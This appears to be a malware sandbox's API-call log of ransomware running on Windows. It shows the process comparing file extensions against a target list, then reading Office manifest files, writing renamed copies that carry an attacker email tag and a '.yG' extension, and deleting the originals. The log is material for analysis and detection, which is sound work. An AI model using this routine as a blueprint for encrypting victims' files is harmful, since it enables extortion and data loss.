	[0049.372] lstrlenW (lpString=".docx") returned 5
	[0049.372] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.372] lstrlenW (lpString=".pdf") returned 4
	[0049.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.372] lstrlenW (lpString=".xls") returned 4
	[0049.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.372] lstrlenW (lpString=".xlsx") returned 5
	[0049.372] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.372] lstrlenW (lpString=".ppt") returned 4
	[0049.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.373] lstrlenW (lpString=".zip") returned 4
	[0049.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.373] lstrlenW (lpString=".rar") returned 4
	[0049.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString=".bz2") returned 4
	[0049.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString=".7z") returned 3
	[0049.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.373] lstrlenW (lpString=".dbf") returned 4
	[0049.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.373] lstrlenW (lpString=".1cd") returned 4
	[0049.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.373] lstrlenW (lpString=".jpg") returned 4
	[0049.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.373] lstrlenW (lpString=".doc") returned 4
	[0049.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString=".docx") returned 5
	[0049.373] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.373] lstrlenW (lpString=".pdf") returned 4
	[0049.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString=".xls") returned 4
	[0049.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.373] lstrlenW (lpString=".xlsx") returned 5
	[0049.374] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.374] lstrlenW (lpString=".ppt") returned 4
	[0049.374] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.374] lstrlenW (lpString=".zip") returned 4
	[0049.374] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.374] lstrlenW (lpString=".rar") returned 4
	[0049.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.374] lstrlenW (lpString=".bz2") returned 4
	[0049.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.374] lstrlenW (lpString=".7z") returned 3
	[0049.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.374] lstrlenW (lpString=".dbf") returned 4
	[0049.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.374] lstrlenW (lpString=".1cd") returned 4
	[0049.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.374] lstrlenW (lpString=".jpg") returned 4
	[0049.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.374] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.374] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53
	[0049.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.375] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0049.375] CloseHandle (hObject=0x38c) returned 1
	[0049.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.375] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.375] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0049.375] GetLastError () returned 0x0
	[0049.375] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0049.445] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0049.448] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.448] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.448] SetEndOfFile (hFile=0x2fc) returned 1
	[0049.448] CloseHandle (hObject=0x2fc) returned 1
	[0049.449] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.449] SetEndOfFile (hFile=0x38c) returned 1
	[0049.450] CloseHandle (hObject=0x38c) returned 1
	[0049.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.450] lstrlenW (lpString=".doc") returned 4
	[0049.450] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString=".docx") returned 5
	[0049.451] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.451] lstrlenW (lpString=".pdf") returned 4
	[0049.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString=".xls") returned 4
	[0049.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString=".xlsx") returned 5
	[0049.451] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.451] lstrlenW (lpString=".ppt") returned 4
	[0049.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.451] lstrlenW (lpString=".zip") returned 4
	[0049.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.451] lstrlenW (lpString=".rar") returned 4
	[0049.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString=".bz2") returned 4
	[0049.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString=".7z") returned 3
	[0049.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.451] lstrlenW (lpString=".dbf") returned 4
	[0049.451] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.451] lstrlenW (lpString=".1cd") returned 4
	[0049.451] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.451] lstrlenW (lpString=".jpg") returned 4
	[0049.451] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.451] lstrlenW (lpString=".doc") returned 4
	[0049.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString=".docx") returned 5
	[0049.452] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.452] lstrlenW (lpString=".pdf") returned 4
	[0049.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString=".xls") returned 4
	[0049.452] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString=".xlsx") returned 5
	[0049.452] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.452] lstrlenW (lpString=".ppt") returned 4
	[0049.452] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.452] lstrlenW (lpString=".zip") returned 4
	[0049.452] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.452] lstrlenW (lpString=".rar") returned 4
	[0049.452] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString=".bz2") returned 4
	[0049.452] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString=".7z") returned 3
	[0049.452] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.452] lstrlenW (lpString=".dbf") returned 4
	[0049.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.452] lstrlenW (lpString=".1cd") returned 4
	[0049.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0049.452] lstrlenW (lpString=".jpg") returned 4
	[0049.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.452] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.452] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53
	[0049.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0049.454] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0049.454] CloseHandle (hObject=0x2fc) returned 1
	[0049.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0049.454] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.455] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0049.455] GetLastError () returned 0x0
	[0049.455] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0049.522] WriteFile (in: hFile=0x390, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0049.522] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.522] WriteFile (in: hFile=0x390, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.523] SetEndOfFile (hFile=0x390) returned 1
	[0049.523] CloseHandle (hObject=0x390) returned 1
	[0049.523] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.523] SetEndOfFile (hFile=0x2fc) returned 1
	[0049.524] CloseHandle (hObject=0x2fc) returned 1
	[0049.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0049.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString=".doc") returned 4
	[0049.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString=".docx") returned 5
	[0049.525] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.525] lstrlenW (lpString=".pdf") returned 4
	[0049.525] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString=".xls") returned 4
	[0049.525] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString=".xlsx") returned 5
	[0049.525] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.525] lstrlenW (lpString=".ppt") returned 4
	[0049.525] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString=".zip") returned 4
	[0049.525] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.525] lstrlenW (lpString=".rar") returned 4
	[0049.525] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString=".bz2") returned 4
	[0049.525] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString=".7z") returned 3
	[0049.525] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString=".dbf") returned 4
	[0049.525] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString=".1cd") returned 4
	[0049.525] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString=".jpg") returned 4
	[0049.525] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.525] lstrlenW (lpString=".doc") returned 4
	[0049.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.525] lstrlenW (lpString=".docx") returned 5
	[0049.525] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.526] lstrlenW (lpString=".pdf") returned 4
	[0049.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString=".xls") returned 4
	[0049.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString=".xlsx") returned 5
	[0049.526] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.526] lstrlenW (lpString=".ppt") returned 4
	[0049.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.526] lstrlenW (lpString=".zip") returned 4
	[0049.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.526] lstrlenW (lpString=".rar") returned 4
	[0049.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString=".bz2") returned 4
	[0049.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString=".7z") returned 3
	[0049.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.526] lstrlenW (lpString=".dbf") returned 4
	[0049.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.526] lstrlenW (lpString=".1cd") returned 4
	[0049.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0049.526] lstrlenW (lpString=".jpg") returned 4
	[0049.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.526] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.526] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53
	[0049.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.535] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=19451) returned 1
	[0049.536] CloseHandle (hObject=0x388) returned 1
	[0049.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.536] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.536] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.537] GetLastError () returned 0x0
	[0049.537] ReadFile (in: hFile=0x388, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4bfb, lpOverlapped=0x0) returned 1
